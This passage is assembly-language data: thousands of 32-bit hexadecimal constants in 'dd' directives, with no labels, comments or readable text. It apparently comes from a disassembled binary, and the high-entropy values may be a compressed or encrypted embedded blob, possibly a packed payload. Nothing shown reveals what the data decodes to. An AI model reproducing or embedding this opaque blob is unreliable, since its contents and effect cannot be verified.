3601960Dh, 65321B50h, 581A8A40h dd 0B59222F1h, 98463058h, 11003621h, 0F296967Fh, 79AF69E4h dd 27C8F38Ch, 4035180Dh, 90C29A59h, 4CA00E4h, 3C78965Ch dd 68AC5940h, 4B87CDAh, 0B8EBA539h, 0D0367E1Ch, 0C25029DAh dd 0B2921237h, 3749531Ah, 2E604EF8h, 75F30Dh, 0F7A4F832h dd 0C12E90A3h, 0C8BDD6FFh, 1B4C2F1h, 258E1348h, 462E615Ah dd 4828A618h, 0A1451A78h, 40906529h, 0B495D931h, 97149424h dd 0FA069E62h, 0F2A11D01h, 10C85C43h, 0D5868C0Dh, 1ADB5345h dd 56AB2855h, 8D8825ACh, 5EB77A6Eh, 2C7C7CA0h, 99659D6Dh dd 47F10574h, 456D1989h, 0E0431BB0h, 916BBA88h, 1E8F00F3h dd 34365C2Dh, 52A6F12Dh, 7EB82B9Ch, 7033C551h, 53448C2Ch dd 7E5B7016h, 0CD5456A9h, 1CCDCB79h, 6285B447h, 301E548Ah dd 88227F10h, 0A071B973h, 0E003C39Dh, 0ACBC03D1h, 3BC44345h dd 0D22244D8h, 0A454108Dh, 3E64C709h, 98B57F6Dh, 6B505B2h dd 40CD9C5Ah, 6CA84A62h, 0EA9069C7h, 0D542374Eh, 0F1191845h dd 17904CD1h, 0D87941EDh, 0DACA1102h, 0F5CF7E76h, 0B93DCECh dd 4651D525h, 0A52E4F3Bh, 0F8537879h, 4548B1D6h, 42C3F180h dd 5B567AEh, 0C47BB09Eh, 0D4DBA398h, 68AB441Eh, 0B690D70Fh dd 0BDFA4C4Dh, 93C20AB4h, 5198FD7Bh, 0C1DF6FD1h, 310A892h dd 0F153618Ah, 53CDD56Ch, 51E1E19Eh, 0F0A2454Dh, 371D1500h dd 0B231B1EAh, 8622775Ch, 631654D8h, 31349104h, 0A08A565Fh dd 4302182Dh, 0C084B29Ah, 255D0707h, 60B0AA53h, 51F3012h dd 0CD599075h, 8B10F7BEh, 13C76F7Ah, 0CE296F4Ah, 0E0E031F8h dd 483DA77Ah, 0DDA24B94h, 0B6A04030h, 1BA2E805h, 0D0035FEh dd 189044A8h, 8490925Dh, 69DE4615h, 0A213CCF7h, 518D0A1Bh dd 508A5027h, 0B5888153h, 7B601A47h, 45ABA1A4h, 6C468A1Ah dd 1B42AACDh, 0EC0604BDh, 0E50121FBh, 71825AAh, 0A53A2873h dd 0FFA9D46Bh, 48A5D532h, 0DCC93CCCh, 0C177D228h, 3DFA6395h dd 0C9428273h, 0C70B028Dh, 0DFA21248h, 11B23112h, 182B28C0h dd 310605BDh, 10AB05C4h, 82D29A3Fh, 8ADAA42Dh, 76211B75h dd 0DD75348Bh, 0D71714EFh, 5C084363h, 0C62B411h, 1FA4863h dd 29F6E5AEh, 0A930E07Bh, 0C5A32E1Eh, 5C3B8385h, 0E11D4F03h dd 0A5ADCF67h, 1ACE1A21h, 0E565748Dh, 690081F1h, 0B148E95Ah dd 0DB17E0C7h, 70A4CC8Ah, 0C2979E59h, 4E3E1225h, 0C3135B3h dd 0BDC617D1h, 0EC1EA9F7h, 0F10C9F04h, 0DFA697D8h, 0ECC027CBh dd 0E671A9A8h, 2E09AD00h, 846D104Fh, 953E9185h, 0A2A14555h dd 0EC7E6394h, 7623944Ch, 537B117Ch, 38421ADEh, 6A12E89h dd 20FA0853h, 0CBB88F83h, 96944407h, 404EA16Ah, 11EEAD54h dd 0D11BD07Fh, 8884381Fh, 37A9D1B9h, 0C5B590B3h, 4061D044h dd 330F6362h, 71835371h, 93311F27h, 359A3BC0h, 5AE4CADh dd 9290004Ch, 0C5F1DB80h, 306CBCD5h, 6C5A3F81h, 0A37096C8h dd 0A1B38BADh, 1786238h, 70111CD4h, 62DD51Ch, 59AC36BEh dd 0F51867C9h, 2920FC7h, 0D2165795h, 6E660A2Ah, 0E1F41896h dd 9D4FA4Fh, 401E7AD4h, 72375FE5h, 5DD6D872h, 0D7A9B00Dh dd 23358E42h, 0AC92F0FDh, 0E42AD1AEh, 91D06591h, 1AF7A4A1h dd 55411C18h, 0C207D201h, 4981CA2Eh, 0A1DFDD2h, 4268DEB1h dd 97D12CDh, 0E473B6F2h, 0AF58AA14h, 53F001AEh, 804CD627h dd 0F3B9C3h, 0B6ACAD16h, 160B0693h, 0E6B02E72h, 0BAA15B9h dd 72A2471Bh, 40899853h, 0EF5BE47Ah, 90C69EC1h, 0D87ACDAEh dd 0DCA84240h, 0A0225A2Ch, 0A56BA046h, 1FE7914h, 0AE4A975h dd 6502C426h, 0CC536986h, 523FD59Ah, 0C9FA4579h, 0A3669C9Ch dd 2ABDA3A4h, 865F0C68h, 91EB69D6h, 68562081h, 4A8B81ACh dd 984C1CEDh, 68CACE8Dh, 0AE9A932Ah, 8F1A9889h, 6609ACB9h dd 0E85C9689h, 606CCCB6h, 15375437h, 7957871h, 0B515FEBDh dd 8F3D1E6h, 99B93352h, 23965A8Ah, 0B1400481h, 0EC0C88C0h dd 8834552Bh, 0E4AE6516h, 0C12A1B09h, 0D15BD114h, 0AD46CA0h dd 0ACCC2E0h, 0D1F4C027h, 47ADB43Eh, 419254F5h, 920FFC82h dd 305EB22h, 0FBFDD23Ah, 86351511h, 7EC3AD05h, 0C04484A0h dd 54D68962h, 0F37D700Eh, 0C3A70069h, 0DB440479h, 9AD9361Bh dd 818C40EAh, 0EFFD4979h, 0B5ED7EC3h, 7596E0F4h, 0AC7C8958h dd 899F15EBh, 65923F23h, 4927BC0Dh, 0DA09FE0Fh, 66CFE844h dd 304B16Dh, 0FE2FCF66h, 21D68953h, 8C7E5738h, 0FF113174h dd 5C4992D2h, 36DA2D44h, 6B14C54Ch, 1398E53h, 0DE808B92h dd 26051044h, 0B1BBD2D3h, 5F318240h, 0B40C28ACh, 20666B2Ch dd 0D1A923F1h, 0C4AD1D85h, 681188D0h, 0DB97504Ch, 8431B2B4h dd 6038F7Ch, 7159B370h, 0DB7CB94Bh, 97348DCBh, 978FCCCDh dd 0B0DD22CDh, 0BE520D29h, 975580AEh, 0A306A073h, 0CB6B1A28h dd 387A5639h, 0B98BB29Dh, 0CEE490DCh, 11FB07FCh, 42108884h dd 6FBFE41h, 231C976Ch, 181D39D8h, 0D7A4ADh, 706C08A3h dd 0F423626Bh, 0BBB168BEh, 142DAA24h, 0A200C923h, 116FCFCh dd 9689D314h, 8AD2A427h, 7C50A28Fh, 629A0531h, 1A75494Ch dd 0CC093F3Ch, 29689C89h, 24E38E4h, 47CAA399h, 5C323FF7h dd 0F64C0FDDh dd 43077211h, 8034022Ah, 17628A61h, 221FB239h, 0A16FB807h dd 8B47657Bh, 7E575CCDh, 0F309A760h, 294212A8h, 9A888AE2h dd 8EA0631Fh, 8ACD02Ah, 0C23E32C4h, 82A7286h, 0C1328BF0h dd 42D5FC91h, 4C488172h, 22BD0256h, 9B9C0C10h, 0A2089F94h dd 0F5460A60h, 5C6D837Dh, 31CD9470h, 0D50A445Bh, 0FA86A7BAh dd 11137AD0h, 823C0DA3h, 3FA07BEEh, 112B4499h, 5405F00Ch dd 102ECBDFh, 0C6CA88E5h, 4401B6EDh, 119509F6h, 5E30A71Bh dd 0CA1476B4h, 0A456E05h, 0D3ACE5h, 1F420FA2h, 0DD568C48h dd 0D2048BDCh, 45185A59h, 0E556F9BBh, 0E455CFDh, 0C7D5C646h dd 0D189A16Fh, 0AE5007B9h, 1646166Fh, 271FFADh, 0E11A8569h dd 67F2F8FBh, 45680753h, 0E2A4852Ah, 0F31E9725h, 3CD5A600h dd 0B458A521h, 48B52118h, 8F733D44h, 0AC19CADDh, 0DB7A6AA1h dd 0C7FAD97h, 93A65C88h, 67052E90h, 0DA5D8187h, 26EABACAh dd 499DC790h, 0CEACF666h, 201FEC5Ah, 0E1E4F261h, 6050FA2Fh dd 0AD50C568h, 0DF05B300h, 0C7BDCA4Eh, 4FAA6A8Eh, 3C8E969Fh dd 0F23B200Dh, 900E804Eh, 34F5A83h, 0AF3698CAh, 0E0E04126h dd 0A9408625h, 37CBA1ECh, 4D049DAh, 6B447D3h, 2A63AA91h dd 0D6884F63h, 9B4FC6ACh, 3B73F1AAh, 0D5C8525Bh, 0C075C478h dd 0F59EF11Ah, 0E07D8B52h, 0BB39235Bh, 77881006h, 0E517DF61h dd 0A054D40Ah, 0B085EED8h, 3C084063h, 0DE625DE2h, 22E0E788h dd 1E8D83C8h, 0C11534F1h, 1369DB6h, 0CB97A40Ah, 52D1D36Dh dd 0C1092159h, 0F21E7CF5h, 1938F289h, 0EA4431CCh, 208062E1h dd 10838062h, 5C8B18C5h, 28AB2118h, 28196DB4h, 0E3F0A644h dd 7484B5C6h, 8FEA8140h, 1024E04Bh, 0FA209173h, 0CE427114h dd 12E05131h, 586C80C4h, 0AA42AA2Eh, 0A2A8C325h, 0E70EB955h dd 7E4AEE8Bh, 468A4401h, 94AA8E11h, 0C3252505h, 0D3F0926Ch dd 91E0AA0Ch, 4DFA2DC0h, 12F04529h, 68C36271h, 893355B4h dd 2A06BE10h, 0C42D8127h, 8AA53006h, 23C917C3h, 0C4D0BF4Eh dd 1156F2ACh, 15116506h, 0EB0B4295h, 8D1679E7h, 2CD1633Eh dd 116EF363h, 3EC06F68h, 2CD51481h, 62819390h, 0AE7B2E7Fh dd 0FDA2305Eh, 49102DECh, 937500D3h, 55067724h, 0D0532108h dd 33F9AB47h, 83355514h, 183FFB71h, 930CA845h, 6C86A7F5h dd 961B1D3Ah, 5187171Ch, 421D763Ch, 3174DBC9h, 0A026FF02h dd 35A3478Dh, 0CACB24AAh, 0A3D822D8h, 33934675h, 74BEF042h dd 5CBA69DEh, 31AE01F6h, 2214A3F6h, 0ACB4D8B6h, 13EF5618h dd 744B7619h, 1607A231h, 0BBBBA43Bh, 0A60FF3B0h, 0AA13292h dd 89684BE4h, 2BC91430h, 8A06E00Ah, 24F404Dh, 80D485DCh dd 0DA77C0A3h, 0B59406EAh, 839991A7h, 2205FE24h, 356E2C62h dd 0E4677288h, 0D3F043F6h, 4B92B4DAh, 0C2C000C6h, 686B0415h dd 0E1CB94Ch, 71596261h, 650D37DFh, 8ED056D4h, 567B9735h dd 98DC691Ch, 0BE95152h, 0D9E06791h, 0E071A51h, 0B1A48316h dd 495F5A2Dh, 3C00942Ah, 0A8BB046Dh, 5F8345C8h, 0A19D759Bh dd 75637673h, 30208B62h, 8DAC2A0Eh, 12946240h, 0BA3C942h dd 0B9310BAAh, 4051CD0Dh, 5B258A1h, 38B119FFh, 2865B0D6h dd 1458EEDh, 9F0A72EFh, 158346FBh, 0D34D5961h, 31B11A76h dd 0D053768Eh, 4AD0ADE5h, 4392E7B7h, 973D3894h, 0B1635C30h dd 0C26ED0CBh, 0A7478DC7h, 4F75DCFCh, 0A2A34745h, 0E11A01BBh dd 0EE4670CBh, 57586E61h, 3E8820C6h, 7B461F9Fh, 0EFB84215h dd 7CE4BDF3h, 34939F94h, 2AB62E6Bh, 787CF0E8h, 0F85B0F4Bh dd 7A074EB8h, 94B4A185h, 7588A69Fh, 1660AE2h, 6D3BC2DFh dd 0BE81D51Fh, 57661BBDh, 61BA6FCFh, 45A827AAh, 83D289F9h dd 319CA713h, 35667088h, 1972CFD3h, 1A442DA4h, 0D1EB30E6h dd 0D058E87Eh, 1F94541Eh, 0F5C416F9h, 9424C257h, 99993487h dd 0AF3145F9h, 54C32AE7h, 14593581h, 0FE246B30h, 0AC4712C1h dd 63110724h, 0EB913333h, 0C4AD5A21h, 0C51BB20Ch, 5E545C45h dd 5A01C072h, 4E387385h, 94036AABh, 4548ED50h, 4BE0C980h dd 43F060F1h, 70190689h, 0DA5691B7h, 0A22700D9h, 17750DE6h dd 0E23C4D96h, 0C220B158h, 0C0CD7530h, 0C8F26140h, 0A828D91h dd 0BAD532C3h, 0C069712Fh, 0B51AD8F8h, 0D3D920B2h, 4A5CF258h dd 6C70FEE9h, 0C463C7A6h, 0C28B6358h, 0A349F2A0h, 234929F4h dd 0A5410A56h, 26172373h, 0CAE9C17h, 0F224C9DBh, 34064E6Fh dd 3C62D0EEh, 5A71B14Ch, 4E150C43h, 777E16B1h, 3A9D2C05h dd 1D2E444Dh, 79F4B551h, 0D096B407h, 43CBFCBDh, 0E52E8A80h dd 779A1AA1h, 88E6F948h, 6A83F5A6h, 0CB4FA79h, 47285A29h dd 0CE4DAD66h, 568988BDh, 0DF3F4812h, 9D4C065h, 0E680A8E3h dd 26084630h, 4725C6DAh, 40D2ED3Dh, 0D6AF88FAh, 2B43F5CBh dd 6AA7508Ah, 45171179h, 8E617354h, 82E40FA1h, 3F987659h dd 0D15B225Ah, 9F8446D8h, 2374D5A3h, 26401Ah, 15517DAFh dd 38A0C048h, 2571B598h, 40735414h, 45145EFFh, 0F5A77A05h dd 0A81AD406h, 1B6F54E4h, 8FC3B8B2h, 3D71AA36h, 34A42AFh dd 15393428h, 22E92F0Ah, 0B6A6CCC2h, 9BCF8B0Fh, 0D9534FE2h dd 44B330B0h, 0F1BE54ACh, 0FFB40F63h, 0ABE14A16h, 152EB3C5h dd 6214F85Ah, 0E2E5B536h, 3D674A1Fh, 3D830040h, 864B8C88h dd 94248BB6h, 16FF1967h, 0E849E504h, 91686DB2h, 917312Ah dd 234FCB84h, 0B9107375h, 0B827A06Ah, 238832E6h, 405652A4h dd 2550A00Dh, 53E93D2Bh, 0F141131Bh, 206930CBh, 0D72D14FCh dd 0D22D490Bh, 688905DAh, 0C380104Bh, 0A0150A60h, 3DF9EA36h dd 18496243h, 1F440454h, 4A8FE25Ch, 8E642309h, 5DFD81EAh dd 75730BAh, 0BA2C6C20h, 7274040h, 1244A48Ah, 0D974F3EEh dd 0F09C5300h, 0F5B30B53h, 91C6AC51h, 2986088Ah, 5CFFA7ABh dd 0FDB0D8BAh, 0C2DB6F5Dh, 481656BAh, 3AEA8DCBh, 188CD754h dd 0C65A03ADh, 23856D2Fh, 520B2E9Ah, 8FF2E803h, 0B01AB449h dd 0E4D30A3Bh, 308A3AB4h, 8B893E51h, 308AD82Eh, 8FB59B45h dd 3B8CD83Fh, 0D95BA6Fh, 6D520A9Ch, 73297D54h, 2F1A28BFh dd 977BC394h, 0C329A3F2h, 13BD1028h, 0AF816A84h, 42D913B0h dd 6C8A62E8h, 9053555Bh, 120C602Ch, 0B0B0C46Dh, 0CFD330F6h dd 451BF4Ch, 0FCED8906h, 3D8B0034h, 0CFD190C4h, 20B0F7EBh dd 6C75AB7Bh, 50387E7h, 0B38C0596h, 895A2EA0h, 57E948CCh dd 6E653F98h, 67F9363Eh, 15B42A45h, 438146B5h, 0ED4B7316h dd 93DEA658h, 0AAA33F78h, 7974020h, 0EC192987h, 50A0F088h dd 1B2B7D9Fh, 81DE0A29h, 941DB185h, 799380D4h, 0D2F83817h dd 43000665h, 99059903h, 26476AAh, 0A8DE062Ah, 718740Ch dd 5636BB7Bh, 695DD4AEh, 99440C32h, 94CFAA09h, 0BFD7AE92h dd 4B78EA24h, 0A0123D68h, 256991A9h, 2449E911h, 23296111h dd 22095911h, 3F9B5011h, 6BA5490Dh, 0C80B9914h, 7B051DBFh dd 8770B8F7h, 0CBF96611h, 0D8A0F180h, 0F8008641h, 87000297h dd 410C0AB5h, 4481EA0h, 0C4DCEC38h, 447B9160h, 671123DCh dd 3DA8688Fh, 88F6ED02h, 248D47B5h, 5055911Eh, 4F12FC39h dd 11693D51h, 496698D3h, 2A40E76Dh, 6EB15D3Dh, 6CF53B18h dd 0E98BF9FEh, 0F22E2D6Ah, 4E5D9F4Fh, 6209383Eh, 492C816h dd 868BC53Dh, 1ACD4177h, 0FAE1E619h, 0C1ACAACh, 55CB67A5h dd 0BD81B819h, 0B68B8288h, 0D6AC9C29h, 0E123F128h, 0A06950DEh dd 89C02629h, 0F91F493Dh dd 6963A260h, 0AF4F778h, 82F0C4E9h, 0F2477A53h, 811ABBF3h dd 27EF9824h, 0B24D8ADAh, 6E00CCE0h, 13912E48h, 0B844B9C3h dd 0E348B507h, 70E20589h, 108593C4h, 3D43282Ah, 98387E4Ah dd 0C40A736Ah, 0B542F1DCh, 20A2110h, 842218B4h, 31F4C057h dd 0FC61DF17h, 7D13951h, 371CA8BDh, 4455254Bh, 8A2E0D20h dd 9BACE214h, 4E04C399h, 2A9DA881h, 0B07136CCh, 0F38C2C58h dd 1A16E80Eh, 908045B2h, 2CB6937Bh, 2A5964E4h, 0BFC385A0h dd 44213731h, 1887789Ah, 0B419887Ah, 84301110h, 4981436h dd 0F0244CE2h, 5F134CC1h, 1AB200B0h, 0B488418Ch, 30B0F51Ah dd 0A01E34A2h, 2A10FCE8h, 8D924502h, 824FB8DEh, 9E62EA3h dd 6E3F1DC6h, 4143C85h, 175B72A5h, 0A454B2F8h, 9117950Bh dd 88841DAEh, 27983E86h, 5EBF100Fh, 1C638420h, 0E6D7102Eh dd 541E4582h, 2205C098h, 5E62B7EFh, 0CBC8143Fh, 9F0469E3h dd 6F7CA227h, 0F462D0F2h, 2CB19A78h, 0A895E0DBh, 0A217A2E4h dd 0E19D0EE0h, 0F8C387F7h, 0D0A4EC1Bh, 0B80E2864h, 0A08A46D5h dd 604B56C5h, 1A6F0F30h, 5781F113h, 405890BDh, 21C7898Ah dd 81483CA0h, 0E22157C8h, 1C35A5CDh, 7989680Bh, 2149A513h dd 8855741h, 50D91F37h, 0C250A0CCh, 3423144Dh, 0FF02C610h dd 0C6A0EA4h, 406B36C9h, 0D54F0A53h, 42A391DFh, 2809624Fh dd 67C90A2Bh, 0A297986Eh, 0A831AD6Fh, 4C5349F0h, 800189E3h dd 3CC70566h, 0FD086231h, 2766039Fh, 9F9C1F20h, 0D3201BF9h dd 182EC098h, 4E5651C5h, 72783E55h, 73E1F222h, 46E35107h dd 0F97CA690h, 4846CBAAh, 9E079748h, 0ADA24824h, 5AC73308h dd 669C4CE0h, 44161339h, 70FD8817h, 238B3403h, 602BFB9Bh dd 265DCEC1h, 182D50FCh, 2081770Ah, 4842495Ch, 60F7191Ch dd 3C103989h, 0C0C3A034h, 50D68730h, 95C75781h, 9C19D416h dd 0FE08E59Dh, 414A502h, 3F8212E4h, 79B8DB30h, 0A2B32578h dd 120432CBh, 95E8C42Fh, 491265D8h, 6B2582Ah, 0C6E66BDCh dd 0D40D5307h, 7451A04Eh, 88A32ECDh, 1723D1C3h, 10BC4533h dd 4134467Ch, 0DF32ADCBh, 4C0D0506h, 72BF0451h, 0BCD2E150h dd 175AAA2h, 3EBD2CF4h, 2F9424D4h, 33F2EB94h, 0D847FA32h dd 20059E28h, 0BE85527h, 502313EBh, 9967232Fh, 0E2CE59E5h dd 0FC07D204h, 45EC43F6h, 7C8ED051h, 144E4599h, 3F0D23F3h dd 0E1AB056h, 0FB49D6D5h, 0FFFC20E8h, 0B2377D14h, 8E503384h dd 9AF26DC6h, 0A9BD92F8h, 60A6F6B8h, 0C3895631h, 4F5CA0B3h dd 919B1245h, 1488C989h, 0DCBFF1C9h, 0BEE8AECAh, 8E9C7DC0h dd 2785D02Ch, 5D45AC8Fh, 0E9091C74h, 0D4AE4DE2h, 0F4625D1Ch dd 0C4D0BA39h, 0A970D1A0h, 0A5E84646h, 0F00A41D6h, 80B99DA2h dd 47D05753h, 2D04584Bh, 950B5EB5h, 4356989Fh, 0B0151145h dd 0EEC295A2h, 84D6FEC4h, 50132531h, 24D1EE22h, 22496F02h dd 459C36F2h, 0AB14136Fh, 84D1D43Ah, 0E0094D8Ch, 9A714DBh dd 0A09BC7B1h, 3918D113h, 71DC7E11h, 65A386C3h, 0E713AF6Ah dd 9A066813h, 8F7DBF88h, 6D041358h, 9B422C42h, 8CC14434h dd 640112Ch, 9D14DFC5h, 309A8732h, 49E244A6h, 4B07D184h dd 27796D1Ch, 18023D0Bh, 11C4D235h, 7B8F784Ah, 0EC444BACh dd 440A0506h, 7538D680h, 76DE01CBh, 0A2D102A0h, 7BECEC0h dd 14413068h, 30300DC0h, 0A2094CA2h, 8C4F6713h, 3E7A5A21h dd 2F66DE82h, 0FDC25D79h, 2A941D10h, 0E6B4ADE3h, 224F3125h dd 0BFB4DC4Ah, 0F97B90ADh, 0E5F36B57h, 7E4CAA1Eh, 0E7F91179h dd 61F4AA9Eh, 75890DEAh, 956E401Ah, 0FE06D037h, 628EB739h dd 713130B1h, 0A3C8FC72h, 215C2895h, 0D699F2EEh, 241CEBEEh dd 0AB1AEE7Fh, 23A8A401h, 0EAF0F3Eh, 73F85852h, 34B1B787h dd 0F0D6CC1Ch, 0AB902F5h, 46A2822h, 1E3E0C9Fh, 989D4322h dd 200DDBADh, 46D88F6Ah, 0A3882848h, 904D2424h, 442EC5B3h dd 38CC83FCh, 0A173D116h, 0FDF462E8h, 0EF76AE90h, 0ADA016B1h dd 33B90648h, 859C0983h, 6FB9ED57h, 80729808h, 9F7D2617h dd 29A048A0h, 3B19B1CFh, 0DEC2D87h, 0D6F54776h, 63C9CCF0h dd 5747D1F6h, 8D1A8554h, 1964462h, 55E1B9EAh, 0F8AEA56h dd 0A3EDA66Ch, 4A68A89Ah, 6BCBF08Ah, 1B5CBBC7h, 4631E5DBh dd 4B02E40Fh, 0CAAD4B1Dh, 655723E9h, 3CAA0657h, 0CFE9E048h dd 6D361EF3h, 6751457h, 0F9352E99h, 5DB3E4A9h, 25C50105h dd 394FD0D6h, 168A367Dh, 55FB9CF5h, 6C802354h, 2357D1Ah dd 0EB80DDA4h, 3407B722h, 70613C07h, 40404A20h, 0DA6C9482h dd 4D65BD7h, 29C11687h, 0A656D91Eh, 1F0BF414h, 40CFFAF8h dd 0CB02F93Fh, 88933AF5h, 57C79FADh, 3706EFD0h, 94E0AE86h dd 0ABE340AEh, 8E91981h, 556F45Eh, 6D6DE059h, 64FA4844h dd 89181FE5h, 885A02ABh, 0E7013290h, 0FF384581h, 4311E461h dd 0A0223E08h, 0F4417495h, 45176C49h, 0F3553C24h, 1A17A308h dd 6D24B2EAh, 455C5098h, 0BA125C2Ch, 4523D8FAh, 92BD704Bh dd 0AF9F14AFh, 772EFBF7h, 36D0ED05h, 70582A98h, 8C3611F2h dd 2D035726h, 11F2B91Dh, 7C65B44Ch, 0BB1104EEh, 0F5064493h dd 314A68A1h, 0BE8BAA1h, 0C890607h, 543B2006h, 88388FE5h dd 9F05C0Ah, 1FBC9B41h, 8D091696h, 0EE8E5A31h, 99834711h dd 91EE49E6h, 0E2AB0799h, 42DD8667h, 81368DCh, 1911C9B4h dd 0CA2F9D87h, 3E0BFE06h, 0B70AD06Eh, 64FA7AB2h, 0A38E4300h dd 0DAA2D037h, 785D5B7Bh, 1FAEADD3h, 7E05920Ch, 0CFA33170h dd 0C15C9709h, 0B278696h, 0EA90F49Ah, 2BAFB243h, 283E5480h dd 599C02F1h, 847E884Ah, 0D9A1ACB4h, 13148C1h, 0D22E06A5h dd 63F2773Fh, 5F1DAE93h, 8BB2FA38h, 60235C81h, 0ADC4D0DBh dd 0F4E543F2h, 0B97B02Eh, 0F037ABACh, 51C59C68h, 9367BC7h dd 103FCA14h, 629BEEE8h, 0C3601CAEh, 31D4BB4Fh, 323D6377h dd 28C721E0h, 581BBC7Ah, 44AF7254h, 0C3C6DE25h, 0C377745Ch dd 68EE944Fh, 238229FCh, 9E47905Ah, 460B922Dh, 0E4B45849h dd 0E3BC1DF2h, 302D7420h, 3373EE08h, 7951B3BBh, 0D3E79E07h dd 9B9F06E4h, 5A4E055h, 3F282A2Ah, 577A308Ch, 0D6686024h dd 549A212Fh, 0C95A2601h, 20C748A5h, 808B232Ah, 0F08A7F42h dd 604906D7h, 0ECC4882Ah, 0F43AE11Dh, 555BE2Dh, 3C549A4Ch dd 96000DCh, 943A32E8h, 0BE25D418h, 6EE1494Ah, 5705E2FFh dd 23F24DA8h, 0E8CB5ABEh, 4FDEE44h, 0D7847E91h, 5B6B3108h dd 671258DBh, 7ACF4B81h, 173B3DEEh, 33028FE0h, 45565E3Eh dd 15A7E910h, 0A0BB3904h, 2B31694Ah, 6879D2ACh, 0F1AA46EAh dd 0AB474C0Bh, 57EC0392h, 8F916D60h, 0B844BD3Fh, 230A4B12h dd 75901825h, 0A90218A9h, 76E7BF34h, 9DB03B15h, 0E3EC5218h dd 511C80FAh, 0D7974235h, 40456673h, 833457E0h, 1E9EA2AEh dd 0EAD4C9C6h, 812D3720h, 0C9342DC4h, 0C2D7312Bh, 11100518h dd 5BA845A2h, 5E2D56DAh, 0BB168145h, 220EEC5h, 7FB30832h dd 0F3C35A0h, 15CA66B9h, 0B847C576h, 4865951Ch, 0EE21CECAh dd 8F005A22h, 20A9F801h, 505BBC76h, 2E9E2BD0h, 59742831h dd 4EA33283h, 33235DA2h, 0DA7EA1B3h, 0A4E47417h, 856D84ABh dd 7597D8F3h, 50380FC2h, 0DC216BC6h, 0F2978600h, 92F71A08h dd 5D52E93h, 216C4DCAh, 0D5AAD3F9h, 10C51245h, 0A3AB4DB2h dd 3A865931h, 800CA296h, 0A06E11AAh, 54E02B16h, 5C400744h dd 0AF8C8Ah, 4BA106E3h dd 0FA390858h, 0DD7CBA6h, 0A8404F35h, 0E75CB239h, 4AD06EB1h dd 11CB3002h, 4D018F8Ah, 3313F649h, 0C1004AAFh, 82754C0h dd 5B81FE80h, 0F26CA020h, 0F8169C2Bh, 0D052EE89h, 0B70601D1h dd 6A827F01h, 0E06081F8h, 0B32F4F7Ah, 0F7EAAAE7h, 6CB5968Ch dd 50A98BCEh, 11036D5Eh, 459A06D6h, 545980CFh, 0C079ED0Dh dd 705467BCh, 0BD2A023h, 3230002Ah, 6898F8EAh, 0B05B5C63h dd 0FC1013CBh, 0C49680AFh, 6CA6C069h, 97E61077h, 0C7105B77h dd 0EC1E0AADh, 0FF5FC70Eh, 26596E9h, 78E91Ch, 0A04C5424h dd 260E44B1h, 0DF91FAC4h, 0C4E920FBh, 705AA82Ah, 1D015062h dd 4BD54A99h, 0D60865FFh, 95A5C488h, 521ACF66h, 8A1AB232h dd 8154C30h, 0C3C044C4h, 0CA89CEF4h, 91848294h, 6D95BA2h dd 2D04C095h, 0C2CDD13h, 52273D56h, 73970055h, 1A4E214Fh dd 0A189B18Fh, 71BCA65h, 0EBDF624Ch, 37FA37ADh, 0A949B20Eh dd 0D49C6040h, 0E52AD6ECh, 27F229A1h, 7E36AF5Dh, 5E1FA0F7h dd 12D86CAh, 68C779h, 3CC50691h, 0C0B795D4h, 61003014h dd 38C5B9B7h, 0ED48661Ch, 11431055h, 11434FD8h, 39234986h dd 41ED4A0Fh, 90B761E1h, 0F5D64774h, 0B81DEC68h, 34087E08h dd 8BDC346h, 50B4366h, 794A540Fh, 0A0BE5450h, 7F3B022Ch dd 1889571Bh, 73E85497h, 0EDC79F4Bh, 4A5BFB1Ch, 4926BE2Dh dd 49A31198h, 209C1F1Bh, 0C33880h, 0B542656Eh, 7DC08D07h dd 31480458h, 5E0D2457h, 0A440ACB1h, 8A144BC1h, 61101A5Dh dd 180850FCh, 2B9093D1h, 556F2A20h, 6D58D5A0h, 26182A8Ch dd 2D03450Dh, 752B450Dh, 62C6A1F4h, 766609CCh, 75B9681h dd 4772FE5Ah, 5D16B7D3h, 7160B88Ch, 8401EDE2h, 9579A7EBh dd 67FEBA89h, 7A29F8F9h, 322EB258h, 0D247A5D4h, 9477257h dd 64761D43h, 4F1E9271h, 73DB7B22h, 4B64E5Bh, 0DDCA92A3h dd 817E272Ah, 7D9E32A9h, 5688D51Eh, 507792A5h, 650B8125h dd 825E062h, 457B12AAh, 2D818208h, 2810DB96h, 5EF7003h dd 0EC2D49DCh, 0B851EA10h, 1DAACAB8h, 54C04178h, 98A1B9h dd 0A0989861h, 59A8229Fh, 7E576376h, 9D750E48h, 2188846Ch dd 25CEB81Dh, 60719488h, 0C9DBC63Fh, 5A934411h, 0CB946317h dd 0CC9B0D21h, 0CC843457h, 150D4630h, 550BAC2Dh, 5E17016h dd 77020883h, 30E5543h, 9DB0B98Eh, 39B83406h, 285F79E9h dd 154E8289h, 50594311h, 62ED1655h, 0F0789475h, 0F6232B43h dd 0AA31E073h, 48621748h, 155C759Eh, 0BF852474h, 209996AAh dd 59399CF2h, 0A5D60C73h, 9A1CCC56h, 4C7472E6h, 33164525h dd 0E66B550h, 58DA79A2h, 4CEFF1E4h, 38F82D77h, 7D34E5Ah dd 30F3F92h, 0F639D18Ch, 0C44563ACh, 72A152D0h, 0B21EED64h dd 0CF899DB0h, 8C27F994h, 15E7E9DFh, 51DC5AA4h, 0E2CD74B6h dd 4753424Fh, 6599CA8Ah, 0E4D64656h, 5D3563Eh, 91A81B8Bh dd 5A204FA2h, 0DD2A0ECAh, 0B613BA13h, 0C7598098h, 0C57CA0A8h dd 1D912D47h, 0E8A9041Ch, 422A00BCh, 0A7A26D0h, 0DFBE4D2Bh dd 0E165CED9h, 0C9625657h, 771194CBh, 0E65EF723h, 0CD7A67D8h dd 58134E47h, 0D0272E88h, 174E029h, 92A2CEA7h, 0E0D0DCCFh dd 0E5E8F595h, 973712Eh, 0CEC3BDFCh, 1ED6EF04h, 9C30AA5Dh dd 0DF4A6F07h, 7AF73B0Bh, 0A4ECD74Bh, 739DB6B3h, 6D81BDEDh dd 56499B63h, 0EDD415ABh, 714C2F63h, 0CEED43E9h, 0C9D68DBAh dd 0AC0E3D99h, 0B29E2E97h, 1F8EC2F3h, 2619B8B3h, 0F2777158h dd 3768699Bh, 533E5116h, 0D7FBA665h, 7DD5F07Fh, 113C14E6h dd 0CAA708E6h, 8C65310Fh, 0BAA10219h, 1BEA7A00h, 0E32872FAh dd 0E3C53AE7h, 2DD862FDh, 0AF0162C2h, 2F11B97Bh, 10064DECh dd 4329D727h, 0D944943Eh, 67516D40h, 83901740h, 4BF41303h dd 73CE8C03h, 787290A2h, 2F60F52Ah, 7380583Dh, 4F001B80h dd 90016159h, 